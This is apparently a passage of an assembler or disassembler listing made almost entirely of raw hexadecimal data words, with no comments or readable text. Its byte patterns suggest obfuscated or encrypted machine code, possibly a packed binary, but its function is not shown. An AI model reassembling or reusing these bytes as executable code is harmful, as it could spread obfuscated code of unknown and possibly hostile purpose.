		dd 82BF1A01h, 12AD8D29h, 0B5FF061Fh, 61F0865h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FEC35242h, 0C825DF81h
		dd 95FF0500h, 61F2D59h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 67C35343h, 958BC7B0h,	61F0291h, 0FE8h
		dd 98090D00h, 0C1A589BEh, 7F16D7DFh, 77BD5489h,	2B198501h
		dd 6A5F061Fh, 4595FF00h, 8B061F1Dh, 0BC1CEBC0h,	26C82F28h
		dd 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 39203155h, 2E337FC0h
		dd 8D969A59h, 2571E58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B509FB68h, 61F0C71h
		dd 0B5D8D89h, 840F061Fh, 9, 8D8BFC60h, 61F1A5Dh, 0C585C761h
		dd 0B8061F20h, 6A000068h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0E50BC356h,	639FE03h
		dd 0B1BD9607h, 547EF5B8h, 13E848h, 0CFD20000h, 5C1E6734h
		dd 0ADF95D65h, 107FE724h, 5CAD341h, 0A5B53146h,	58061F1Fh
		dd 137D85C7h, 61Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 7E4175C3h, 4EDB119h
		dd 0B5FFD88Bh, 61F0105h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 76C35545h, 38B87774h,	0FFF48A21h, 1F2D5995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0AF47B6BDh, 773258CEh, 8A0Fh, 6A0000h, 1D4595FFh
		dd 0C08B061Fh, 0FDE61BEBh, 6C48EE7Ah, 0E298AD65h, 261E71B3h
		dd 0A90CF97Ah, 0E50A315Fh, 0CA69E82Ch, 0B68D8DF3h, 1062572h
		dd 1F027185h, 89C28A06h, 1F0B5D8Dh, 0D0816006h,	6C9611D3h
		dd 0C76150B6h, 1F20C585h, 58C806h, 0C1F28100h, 0C770A3A1h
		dd 1F137D85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0A860A957h, 4E382E5h
		dd 4FBF667Eh, 91B5FF69h, 8B061F32h, 1F2F89BDh, 5995FF06h
		dd 6A061F2Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 3A2C357h, 9042F14Dh, 2D05858Bh
		dd 6E9061Fh, 3000000h, 3933605Ah, 860F61h, 6A000000h, 4595FF00h
		dd 8B061F1Dh, 3D4CEBC0h, 0DB9E6EF6h, 0D98F3C3Ch, 0D7905C7Bh
		dd 8065A1h, 9AA63082h, 7AE0224Dh, 0D3B2E6F3h, 3A16280Dh
		dd 0CABB3872h, 0A38E909Dh, 250583DBh, 75C2BE03h, 0C90BC1D9h
		dd 41F8B500h, 1FADA26Bh, 903ECE3Dh, 343101B9h, 0A61EF131h
		dd 0E8C4E928h, 0Ch, 0B9CC1ED7h,	3BAEA485h, 5E1E9963h, 5AE3D380h
		dd 88F0Fh, 89520000h, 1F060D8Dh, 0C2815F06h, 6FBBh, 6898D580h
		dd 1BB6h, 6800Fh, 9D090000h, 61F116Dh, 0FEB8605Eh, 6602F429h
		dd 0FF61F28Bh, 618D8B32h, 58061F31h, 83D8589h, 0F081061Fh
		dd 387EE4C3h, 11B3E881h, 0FE97498h, 0B8000000h,	584CE165h
		dd 5F20010h, 0D53ACBFEh, 0F0817CE6h, 0FA592E0h,	0B5CD8060h
		dd 0EE9h, 101CA300h, 79EBD824h,	98D3AF82h, 6133CC58h, 0BD8B0289h
		dd 61F2C65h, 6E57EA81h,	9D297891h, 61F1221h, 6E53C281h
		dd 0BD017891h, 61F2AC5h, 0F01EE83h, 1A85h, 0FABF0F00h
		dd 26E9h, 313500h, 9227070Dh, 0B7266557h, 20C1EC32h, 8BCB8CE9h
		dd 1F1B698Dh, 0FF65E906h, 8D4FFFFh, 1BC4FB6Bh, 8D9D74A4h
		dd 2574998Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0E1C0BB7Eh, 9D71B0E1h, 2A699D8Bh
		dd 9E8061Fh, 0BB000000h, 0A45D1E76h, 8F2D8406h,	75B922BEh
		dd 8D895F41h, 61F0B5Dh,	20C585C7h, 71F8061Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 11B410C3h, 0F39844FCh, 0C717D881h, 85C71196h, 61F137Dh
		dd 0
		dd 19CDB52Bh, 0B5FF061Fh, 61F0749h, 2F65858Bh, 95FF061Fh
		dd 61F2D59h, 6AD6B7h, 1D4595FFh, 0C08B061Fh, 85C90EEBh
		dd 9A5C2534h, 60BDBF3Bh, 13C35A7Ch, 14E8h, 44134900h, 3D63BF41h
		dd 0C6E5A46Ah, 387B05F1h, 0A067360Ah, 0F7B70F61h, 0EF81665Ah
		dd 0C281EB82h, 6C6Ah, 3098BB66h, 0CA5CBCB9h, 44F18126h
		dd 126CA46h, 1F24C185h,	6632FF06h, 8107E681h, 13E958h
		dd 4D5A0000h, 23720762h, 385CA369h, 4D2208F5h, 0B2D835BAh
		dd 0B0F08125h, 8B72D015h, 7AF081F0h, 0B7433433h, 23F08131h
		dd 892F3B44h, 1F23B9B5h, 8B028906h, 1F308DB5h, 4EA8306h
		dd 0F495B51h, 0FFFFB085h, 0D19D33FFh, 0E8061F16h, 9, 0B56EAFE7h
		dd 0C5458B06h, 5EC68B81h, 0D860Fh, 89600000h, 1F1CCD95h
		dd 270BBB06h, 81613F82h, 655BC6h, 0BFD78100h, 337CE64Dh
		dd 5FF552D2h, 0F3234FFh, 8159C6BFh, 1A066FDBh, 0DEE98108h
		dd 2901AF96h, 1F0A5985h, 3FF18106h, 6034932Ch, 20F58589h
		dd 9589061Fh, 61F2405h,	0E8E98161h, 0F641F7Eh, 584h, 0C3816600h
		dd 66517840h, 4685DB81h, 0E916048Fh, 12h, 4D43BB4Fh, 0E9879B1h
		dd 59F0A8E5h, 7F551C4h,	0EA83D71Fh, 29958902h, 4A061F03h
		dd 7D8D894Ah, 81061F0Eh, 0FF9B6CFAh, 0C850FFFh,	8B000000h
		dd 19E9D8h, 61E60000h, 0E93F103Dh, 0FFFFFF74h, 0F0C809DDh
		dd 171E7039h, 9E5D6819h, 0E8E25488h, 7,	9134D1B3h, 89FE2F2Eh
		dd 1F0B2D9Dh, 8D315B06h, 61F1885h, 674BC381h, 0B6600000h
		dd 73E9BB17h, 0BF614584h, 0
		dd 0FFF08B66h, 830F1F34h, 6, 110D958Bh,	0E858061Fh, 0Eh
		dd 0E9228C8Ah, 69C868BEh, 512467EAh, 0CE83A55h,	10000000h
		dd 4C84F789h, 9269006Dh, 1343659h, 1F1EE1BDh, 815E5906h
		dd 9D47E7C0h, 1AD28047h, 60EEF081h, 31516165h, 1F1DCD95h
		dd 0E8815906h, 73D13073h, 175DB58Bh, 489061Fh, 2585893Bh
		dd 0F061F02h, 0EF81D7B7h, 46BB1463h, 0F2F18166h, 5FC78141h
		dd 8B46BB14h, 94FF81D7h, 0FFFFF99h, 1885h, 89ED8000h, 26E9h
		dd 0D75DE00h, 0B5C47D2Ah, 0B2E37094h, 0C38205CEh, 0DABA663Bh
		dd 0FF55E988h, 0F775FFFFh, 0E8BD1A0h, 56996B76h, 0E8C6C6A0h
		dd 6, 0F11D5C36h, 665884B2h, 0C081F88Bh, 7171h,	4832CF81h
		dd 2C686C39h, 0BF00001Ch, 5E9413BBh, 0D6BF0F59h, 0BE6630FFh
		dd 895B3CF5h, 1F2E5195h, 9FEB8106h, 0E878A25Eh,	8, 0D90D2B9h
		dd 98E5FE17h, 0AE9h, 6295400h, 12BF2A77h, 5FD81A10h, 398FF381h
		dd 958B2D99h, 61F0DE5h,	482F381h, 53F92565h, 8FF08Bh, 9C34BF66h
		dd 0BFB3E881h, 0C0815B44h, 5B44BFAFh, 6599509h,	0E983061Fh
		dd 24850F01h, 0E9000000h, 0Bh, 0D08C8001h, 1419FBCEh, 0E98264EAh
		dd 25h,	2CD7B519h, 7BDA482h, 0C88C9817h, 0BF65169Dh, 594695FBh
		dd 0FFFF6BE9h, 0AD340DFFh, 40F4E831h, 993B2CDEh, 34AC4286h
		dd 7C2406A2h, 0B37D7AA2h, 2F17833Bh, 0B42A2180h, 30259083h
		dd 3025C46Fh, 3D98A786h, 30230DAAh, 305A8D89h, 8DA68486h
		dd 363A4D43h, 42A12E86h, 0F6259086h, 2F056D03h,	0CC4D6A80h
		dd 0B1DB2302h, 63992DB2h, 85DAD2F5h, 363A6E8Bh,	49B6A40Bh
		dd 0E0DA96A4h, 0B5E3B80Dh, 363A04A3h, 0BA3C7AC8h, 4A4A8C1h
		dd 3578DDA2h, 0F590BD8Fh, 0BD233E89h, 125C0303h, 0BBF5B780h
		dd 30359D7Eh, 38CC1286h, 96250986h, 302B0189h, 3B6C4286h
		dd 0C0A02E4Fh, 0D9DA6F79h, 3025488Bh, 7D95B90Bh, 359D1499h
		dd 0CF250986h, 0F1980965h, 0BD2367F1h, 155D5E0Bh, 15372880h
		dd 0FF0ECEB6h, 34AC4247h, 7C2406A2h, 0B37D7AA2h, 2F17833Bh
		dd 0B42A2180h, 30259083h, 3025C46Fh, 8398A786h,	0A4F305E9h
		dd 22B9h, 588D8D00h, 6A062579h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 31BBC352h, 1F2C0995h
		dd 5D8D8906h, 6A061F0Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 567FC356h, 204016FEh
		dd 0DCEF8166h, 0C585C750h, 0A0061F20h, 81000064h, 37503EF7h
		dd 7D85C71Dh, 61F13h, 56000000h, 45B5FF5Ah, 0F061F15h
		dd 8Fh,	5995FF00h, 6A061F2Dh, 3E85100h,	20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0DF31C351h,	3969E907h
		dd 19BD090Fh, 8A061F20h, 0FF006AE3h, 1F1D4595h,	0EBC08B06h
		dd 416B5E5Fh, 0BC78AC94h, 90E9EC1Ah, 44A7F2FAh,	0F0E5A6E5h
		dd 1181F75Ch, 0B13F7DA7h, 604CA9DBh, 51D39635h,	0B0F0492Ah
		dd 14B7C8D6h, 0DA5A7D38h, 9EE942E0h, 3084ABFCh,	83DF0DE8h
		dd 420D9DE9h, 22275794h, 6F953C02h, 0C45185D4h,	0E1152109h
		dd 0A0C8599Ch, 6E32F938h, 9B9BC322h, 9E4E8A33h,	0E9D004EBh
		dd 0F3E93487h, 7E000007h, 985CD32Eh, 0B77BF20Dh, 0D3970EF3h
		dd 0EEB229D6h, 86D249B8h, 24DDC9CCh, 45CAE9ADh,	639E0ACEh
		dd 807F28ECh, 1BC74009h, 19AE2843h, 592B9ED6h, 1FD3A184h
		dd 7BF20D9Ah, 46622314h, 0A1623AE6h, 41F51FD3h,	0A078249Dh
		dd 331FD3A1h, 0A262DB7Fh, 0B266F807h, 0CF7709F8h, 0E28E072Bh
		dd 15F0BDDDh, 9044D68Ah, 0B074EB16h, 0C27608F7h, 4881AE5h
		dd 7E56028Bh, 1125F2BDh, 17A95651h, 2CA7CB6Fh, 0C7386FB2h
		dd 7800184Eh, 60745A98h, 0AF38C53Ch, 0AF4BC4EFh, 25F36CD7h
		dd 5D35E16Ah, 0F025F36Ch, 0DE74983Ch, 974899Bh,	5732h
		dd 6145BF00h, 4C5A0EA0h, 249F23B5h, 0C7DE9EBAh,	42641438h
		dd 0DB9E48BFh, 0F2F094B8h, 38h,	0A061457Fh, 0A1996E0Eh
		dd 4AF1FD3h, 0E1C5790Bh, 66648E20h, 9931126Eh, 9A44BF3Fh
		dd 0E7F77293h, 0CF5B171h, 0F0ACD27Ah, 0A0E070DAh, 9016C6EAh
		dd 1CCBFA71h, 54000000h, 17EABC7Ch, 926343F3h, 0B45CEE21h
		dd 0CDE7E10h, 951FD3A2h, 5D49D806h, 0A2B62DA4h,	0DB870095h
		dd 15F0BEE2h, 7D31C377h, 995DD42Dh, 0E15EF011h,	56449ABh
		dd 0B6DA201Ah, 40ECD463h, 25F2B068h, 2AA347FBh,	0FB75D7Eh
		dd 0BC4E021Ch, 0EE33AB2Ah, 0ACE45BCh, 2FCF61A0h, 2C11B687h
		dd 4ADC2583h, 5EF00F96h, 0DF4E901Fh, 5AC717A2h,	0C33AB150h
		dd 9CFF94A2h, 8D26E663h, 45FB5E82h, 7E3A9D62h, 8D8231F1h
		dd 0CC2F53FBh, 94B06A5Fh, 53C3F3h, 7A3A0000h, 4EB1D52Ch
		dd 9CFF94A2h, 6F47F37Ch, 21FD3A1h, 5B12A4Eh, 1FD3A22Dh
		dd 734BF780h, 0C61FD3A2h, 0D3A2421Ah, 0E821D51Fh, 23D71034h
		dd 7C097CC0h, 0A16F47F3h, 4E021FD3h, 83D6F728h,	0C3E79509h
		dd 0F16A9713h, 64887931h, 0DA0F7601h, 33h, 7D94A263h, 3CF22770h
		dd 6139E5E6h, 0F41FD2FAh, 95F89C40h, 0A1F8D07Ch, 5BD1FD3h
		dd 7C097CA2h, 8214EBBCh, 0A406B6DAh, 0F976FA5Dh, 0FD8F7039h
		dd 45CE3155h, 9B249D62h, 0D3A217EFh, 0D2F6AA1Fh, 241EA040h
		dd 55521FD6h, 456418AAh, 8F1E28BAh, 49D8DE4Fh, 0A503C395h
		dd 807AC5Ch, 0FAAACE76h, 0A3D952ADh, 0C1BE5430h, 8C0327B5h
		dd 9123DEC8h, 0AF525414h, 0A151751Dh, 0C383FC05h, 7B639CE3h
		dd 953757FFh, 873BCDF1h, 9D51E32Ch, 2667F916h, 6AEA439Bh
		dd 7432EFEFh, 2B340CB8h, 13C71FD8h, 0B4EF86Fh, 0A20F6FCAh
		dd 2Fh,	9D62452Fh, 0E83B40Bh, 0B300E995h, 753515F0h, 74ADD13Eh
		dd 97242EC0h, 0B28A620Eh, 691D25F2h, 0F8EC7A43h, 32749D5h
		dd 0DCCB5688h, 4535AC23h, 8E0B9D62h, 0F1436958h, 0DB546B88h
		dd 0D377572Fh, 1236EA1Fh, 9C1578BFh, 0F07B43F0h, 950CC015h
		dd 0FF94A21Eh, 1FE2C686h, 2FD0D98Dh, 0A151F59Dh, 0BF67F906h
		dd 467C389Bh, 891D50D3h, 1D5B5278h, 26A33559h, 135757F0h
		dd 0A7CB09CDh, 0EABC7C44h, 6443F317h, 0BC7C389Bh, 77EE12EDh
		dd 0EEBC7C00h, 0B5D98113h, 94B02A1Fh, 2883F3h, 3AFA0000h
		dd 0C6F936Eh, 9CFF94A2h, 0A1F8D07Ch, 0D78B1FD3h, 45097C74h
		dd 7C399C65h, 8618F7BCh, 0D43BBADEh, 27DAh, 94A26300h
		dd 0D07C9CFFh, 1FD3A1F8h, 0CC8C05BDh, 738E1CE7h, 39539E1h
		dd 7CD4375Bh, 9C654509h, 0EDBC7C39h, 86FEE12h, 0B9D6245h
		dd 0D623E96Bh, 7A3AC71Fh, 36B1D52Ch, 0C52E79A8h, 0E7DE9EE1h
		dd 841E665Ah, 3C33CE0h,	39E55EA3h, 1FD84161h, 0A51C40F4h
		dd 0C33CC5E1h, 4B1ECF8Dh, 0A050D550h, 0C068FA05h, 50560A9Ch
		dd 3AF38B1h, 1FD7F82Bh,	54E60ABEh, 988955D0h, 42BFE70Eh
		dd 3C7D279Eh, 0D10F6F15h, 43h, 0ECBC7C5Eh, 62DB8315h, 0D3A1DEB6h
		dd 99BD711Fh, 0AF41BEE9h, 31AADF58h, 9B731FA8h,	0B71FD3A1h
		dd 0D57D0FF0h, 28C4E89Ch, 15F0BA9Fh, 0C4CE6014h, 0EFAFA935h
		dd 752549B6h, 0E1D44B32h, 26A3A852h, 45940B82h,	0B40B9D62h
		dd 0C950E83h, 0D3A18860h, 43671B1Fh, 91851ECAh,	661A15F0h
		dd 94A278EFh, 0AC5086FFh, 4375ACADh, 481EF6A2h,	0FDB11FD3h
		dd 1FEA959h, 0E6637ADDh, 3735B3B0h, 0F81C0ADCh,	9D624595h
		dd 7C077E3Ah, 60B39446h, 0E80C53EEh, 94E37752h
		dd 43B6F3h, 0A2430000h,	0FD86FF94h, 0D3A17951h,	0EB14951Fh
		dd 4278B159h, 0C2DDA111h, 1A3EE29Dh, 0F8D07CB7h, 4B1FD3A1h
		dd 0A13E16C2h, 1DD11FD3h, 0A90CC0F9h, 0BC7C097Ch, 0D98113EEh
		dd 5CA505B5h, 0DA0F76F9h, 29h, 0FF94A263h, 0F8D07C9Ch
		dd 0BD1FD3A1h, 97CA205h, 0A1D2467Ch, 2F5A09A6h,	0B24F5B0Bh
		dd 70F9764Fh, 0D3A1ECC4h, 0A7CB7F1Fh, 91624544h, 0AE56E819h
		dd 3BFB780Ah, 0CCE79778h, 1831F43h, 0DF1FD624h,	14938E50h
		dd 0F5B272EBh, 0ACD0780Ah, 0C9367135h, 3257E037h, 3B540DB9h
		dd 35E915F5h, 0FCA831BEh, 25F73C24h, 7CDF03B7h,	86FF94A2h
		dd 0A17951FDh, 11951FD3h, 7DB65EF0h, 6342A5C9h,	9D6245FCh
		dd 31F17E3Ah, 5688C75h,	94B06A5Fh, 41C3F3h, 7C500000h
		dd 0A16F47F3h, 16C21FD3h, 1FD3A13Eh, 30E41DD1h,	0C7DB90Ch
		dd 0F8D07CA9h, 8B1FD3A1h, 29D55ED7h, 1FD3A151h,	0A90C30E4h
		dd 6545097Ch, 0F76399Ch, 4DDAh,	81174D00h, 9EA015B7h, 0A22D90B4h
		dd 7C9CFF94h, 8F8033F3h, 0A1926A16h, 71251FD3h,	0A1D9B14Dh
		dd 0E69E1FD3h, 45097C83h, 923EC765h, 1FD3A1BAh,	25FD994Dh
		dd 0B81FD3A2h, 7CFD6004h, 0B71CC346h, 0FDAA5DA6h, 0F7AE5E02h
		dd 0AACE7608h, 467CC42Bh, 1E337447h, 0AD5452B2h, 7235E509h
		dd 0D95BFB8Dh, 0D1FD5A9h, 21D56798h, 66EA7C85h,	343AF3EBh
		dd 0BFE839A5h, 0D91C740h, 0CB98DE4h, 5C2097BBh,	0CB22B44Bh
		dd 4B0296Ch, 15F544E3h,	0E65DD488h, 9CFF94A2h, 6245FC63h
		dd 47EB1491h, 7C077EE4h, 0A16F47F3h, 0AB151FD3h, 0A82E27B3h
		dd 3D61154Eh, 94BFA2A7h, 3B0BF3h, 0A2980000h, 7C9CFF94h
		dd 0D3A1F8D0h, 85558B1Fh, 0F9249535h, 1859C2B6h, 8F7441F2h
		dd 0F37C88EBh, 63897633h, 9CC5FBA9h, 59BCE008h,	399C6545h
		dd 12EDBC7Ch, 0DA086FEEh, 1Dh, 0FF94A263h, 1FE2C686h, 5EC1E58Dh
		dd 0A1F8D07Ch, 5BD1FD3h, 45097CA2h, 76399C65h, 9D62450Fh
		dd 0E83B40Bh, 0BE58E995h, 0DD9D15F0h, 807F2ACBh, 7EA246EEh
		dd 8D1A9145h, 786FE257h, 84A82A52h, 0A830631h, 96E9C181h
		dd 0EE66C9D2h, 44680C1Ah, 16409AA8h, 881DDD1Ch,	193DE577h
		dd 0E69A2CE0h, 3C73EC1h, 29C95BA4h, 0D6BAA79Eh,	7C2804A4h
		dd 5EBAE7A4h, 4DDF8337h, 61F30C99h, 9516C857h, 6A8BA90Fh
		dd 0C0C66AECh, 3374AD31h, 169155CCh, 6A357E9h, 0E9C080F9h
		dd 63DC8416h, 0BAF4DFB7h, 9ABE725Eh, 0E7F77608h, 0B35FE871h
		dd 5EBAF4DBh, 461EBA6Eh, 0D95EBAF4h, 56510125h,	396E32A9h
		dd 8214EBBAh, 3D49B4DAh, 0BAF34209h, 0CCDD9D16h, 5E7D0F33h
		dd 8, 0E9BC7CE7h, 3DA4F216h, 89A6745h, 1AAC5354h, 2DBF4266h
		dd 43D53A79h, 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h
		dd 0A234CBDAh, 0E3895386h, 4C381h, 0BD550000h, 4, 875DEB29h
		dd 685C241Ch, 6ECh, 68240C89h, 464Eh, 50241489h, 752F9068h
		dd 57B95863h, 29699AA9h, 16858C1h, 89000002h, 4832424h
		dd 685A0424h, 7DA0h, 8F240C89h,	34FF0842h, 0C4835A24h
		dd 240C8B04h, 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch
		dd 0FFF9FBCEh, 0B307D3Eh, 45B80FEEh, 3062581h, 44E0FFC5h
		dd 1F5A2D88h, 0A67B89Ah, 636E533Ch, 0DE003774h,	0AD227A5Ch
		dd 834F51BEh, 0B77B83A3h, 0E91A0C55h, 39176D17h, 0E873AF6Dh
		dd 14h,	7F04421Dh, 0F0EAE857h, 53385A2Bh, 0D39EB622h, 917F6E99h
		dd 8159FB8Bh, 7570C1h, 0D08B6600h, 0D2E4FEBBh, 3AC3811Bh
		dd 0FE42D38h, 138Dh, 0EE900h, 69340000h, 1BACC55Eh, 0E4E7D30Ch
		dd 76FDCA9Bh, 0BF66018Bh, 0E8818C42h, 68E2EA64h, 6CD6BF66h
		dd 4CA9F081h, 850F6083h, 0
aBsSS		db 'èÇSØ',7,'é',7,0
		db 2 dup(0), 1Fh
		dd 0BA9D0498h, 1899CE5h, 3870Fh, 8B660000h, 1E983FAh, 78F78166h
		dd 4949492Bh, 0F01EB83h, 0FFFFB385h, 0F2BF0FFFh, 10E8h
		dd 0FF28EC00h, 9E8770B8h, 16E28D32h, 5167D5Ch, 12B6601Ah
		dd 0E9F88B60h, 7, 0CE757984h, 61862546h, 6E85A61h, 62000000h
		dd 5BC68FA3h, 14E950D7h, 2C000000h, 4B79C2DAh, 86A6648Eh
		dd 3C862D4h, 334E99F3h,	5ECBB14Fh, 66C2815Bh, 6800006Eh
		dd 0
		dd 5636BF66h, 21F38159h, 8B2CAC25h, 0C0810A04h,	727FBCBBh
		dd 81F8B70Fh, 8926ACF0h, 5E826h, 0FE0B0000h, 0F4F6371h
		dd 815FD8B7h, 0DA8C31E8h, 0E7816045h, 13ED1F52h, 8961CE8Bh
		dd 0B70F0A04h, 0E981F8DEh, 179D7CB4h, 0B0C181FCh, 81179D7Ch
		dd 0FF927CF9h, 1B850FFFh, 0F000000h, 2CE9F8BFh,	16000000h
		dd 8C5F2C0h, 0E2B5E292h, 5088BA2Eh, 4AF562BBh, 81668379h
		dd 0E958AFCBh, 0FFFFFF8Bh, 7A4B55B8h, 5EB4972Ch, 25F2E02Ah
		dd 8D6AA08Ah, 2584678Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 316D3ADh, 810DCF21h, 0DA27FAD6h
		dd 5D8D8943h, 6A061F0Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0F52FC352h,	4414C3F5h
		dd 325AE5F0h, 58D2960h,	29061F2Ch, 1F08DD9Dh, 85C76106h
		dd 61F20C5h, 5FB8h, 6850Fh, 0F0810000h,	5862740Dh, 137D85C7h
		dd 61Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 190424h, 55450000h, 5FE636C3h, 89BB75D4h, 1F1C0D9Dh
		dd 0BE906h, 602B0000h, 6A591EDAh, 6206DA78h, 49B5FF52h
		dd 66061F07h, 983FD681h, 2D5995FFh, 6A061Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0EE4B19C3h
		dd 411CC24Fh, 95FF006Ah, 61F1D45h, 0EEBC08Bh, 0F573D509h
		dd 7F17D451h, 0D3F585C0h, 8D8D92BEh, 625851Eh, 0E8C0Fh
		dd 89600000h, 1F066D85h, 810F06h, 61000000h, 0B5D8D89h
		dd 8BF8061Fh, 1F1B45B5h, 0C585C706h, 0F0061F20h, 6A000072h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0E05CC353h, 85C7D8F4h, 61F137Dh, 0
		dd 0B5FFF88Bh, 61F3025h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 43C35545h, 21AB4772h,	5EA79C27h, 95FFC68Bh
		dd 61F2D59h, 0AE9h, 0F5A03B00h,	98BF7080h, 6A0793A4h, 4595FF00h
		dd 8B061F1Dh, 0FC6DEBC0h, 37BC435Ch, 0D5BFE32Bh, 7A12949h
		dd 0A1FF670Bh, 994D9BFDh, 0CF7BE250h, 0D7522CC7h, 24E14DF3h
		dd 0F53EAD5Bh, 15168D3Eh, 2C6585B0h, 0A4489668h, 0C921F5C3h
		dd 0FB5152CEh, 0DB57E85Ah, 6142A8C7h, 0C3240901h, 2D0E5075h
		dd 0AFE64641h, 7C10A437h, 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h
		dd 6FEAA1C2h, 0B4CB2093h, 1C4FE862h, 99255B1Ch,	86418D8Dh
		dd 9AB80625h, 89018A09h, 1F0B5D8Dh, 0BF0F6006h,	859589CEh
		dd 61061F05h, 20C585C7h, 6124061Fh, 8C0F0000h, 0
		dd 137D85C7h, 61Fh, 4CBF0000h, 667183C4h, 0FFEC3DBEh, 1F105DB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0C431B1F5h, 11E998E9h, 13000000h, 5EE187D9h
		dd 60F89E4Dh, 768901E1h, 8FBDDC0Ch, 4AF1EE81h, 95FF692Eh
		dd 61F2D59h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	3DC35040h, 5A1A1A5Ah, 6AFCF1h, 1D4595FFh, 0C08B061Fh
		dd 46431BEBh, 0FC70800h, 1FA2DD8Dh, 0E7669CD8h,	95E409C1h
		dd 2337C447h, 6B17901Ch, 5E8A8h, 5FAE0000h, 8BCE15ACh
		dd 1F2FED95h, 9505B06h,	1F087D95h, 0C3815906h, 6A61h, 30419589h
		dd 0C02B061Fh, 810Fh, 34FF0000h, 5F29B618h, 81CA8B66h
		dd 0CE3968EFh, 81EB8A70h, 0AE1362EFh, 0F28B6643h, 8B94C781h
		dd 0E8601605h, 11h, 0D2EB9BB3h,	0F4B5A4BAh, 0BC3F925Fh
		dd 9D54A913h, 89615E4Ah, 2AB9033Ch, 60223229h, 0F20FB866h
		dd 0FE9h, 0F4DFA800h, 0DF8C1DB9h, 387D76C8h, 9A0B1CACh
		dd 4E88361h, 26E2E9B9h,	5CF8813Ch, 0FFFFF96h, 1085h, 69858900h
		dd 0E9061F2Fh, 1Fh, 0E6E88350h,	9D8589A9h, 0E9061F16h
		dd 0FFFFFF76h, 19D1BE30h, 67FCFA12h, 0B614C5D6h, 8D96C448h
		dd 2587888Dh, 0CE906h, 78E20000h, 0C5FDD3E2h, 304A1289h
		dd 8D8948FEh, 61F0B5Dh,	6850Fh,	85310000h, 61F1FF5h, 20C585C7h
		dd 6078061Fh, 0D38B0000h, 137D85C7h, 61Fh, 85890000h, 61F31C9h
		dd 2D01B5FFh, 0BD89061Fh, 61F08E5h, 2D5995FFh, 0BF0F061Fh
		dd 0FF006AC0h, 1F1D4595h, 0EBC08B06h, 0F16E74Fh, 6FFEC162h
		dd 0C541CA27h, 3C8501C5h, 0C13CEEA6h, 0A9F39310h, 1E5E4074h
		dd 5BF1E435h, 0AA0EA38h, 380EF58Eh, 0A91EAAA7h,	976F6E89h
		dd 6C4E0841h, 676130F3h, 0F0683665h, 0D3D6DD99h, 86183391h
		dd 0E75F6FE6h, 3D706EF0h, 5D372EA9h, 88CB8D8Dh,	6A0625h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0FF28ECC3h, 898770B8h, 1F0B5D8Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 389DA2BBh
		dd 0B400C14Ch, 0C585C7C4h, 0F0061F20h, 6A000058h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0A30FC350h, 637402AAh, 0C7D38B66h, 1F137D85h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0F04DD021h, 419D8B74h, 0FF061F02h, 1F0749B5h, 658D0906h
		dd 0FF061F2Dh, 1F2D5995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0D4E958EBh
		dd 858BB5AFh, 61F1ED1h,	95FF006Ah, 61F1D45h, 0EEBC08Bh
		dd 7ECD87F5h, 0E71B250Dh, 8AE3083Ch, 85C65F9Eh,	61F2025h
		dd 30DF6856h, 0B5FFA9C5h, 61F3271h, 7993858Dh, 0D0FF0622h
		dd 5FD8D8Dh, 6A51061Fh,	25B5FF40h, 0FF061F19h, 1F2E4DB5h
		dd 0FFD0FF06h, 1F1925B5h, 4DB5FF06h, 0E8061F2Eh, 0Dh, 0F0D00E5Dh
		dd 8A406011h, 96CF647Dh, 835A5AB5h, 2CC104EAh, 24C10224h
		dd 14030224h, 241CF724h, 0BBh, 1A048B00h, 105EF081h, 0F0815DDEh
		dd 7C9128BBh, 0EA60C081h, 489622Dh, 0ECEB811Ah,	81587772h
		dd 7772E8C3h, 241C3B58h, 0FFD3850Fh, 9D8DFFFFh,	61F1945h
		dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 0E9C98B18h
		dd 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh, 4592B395h, 0B395A1F4h
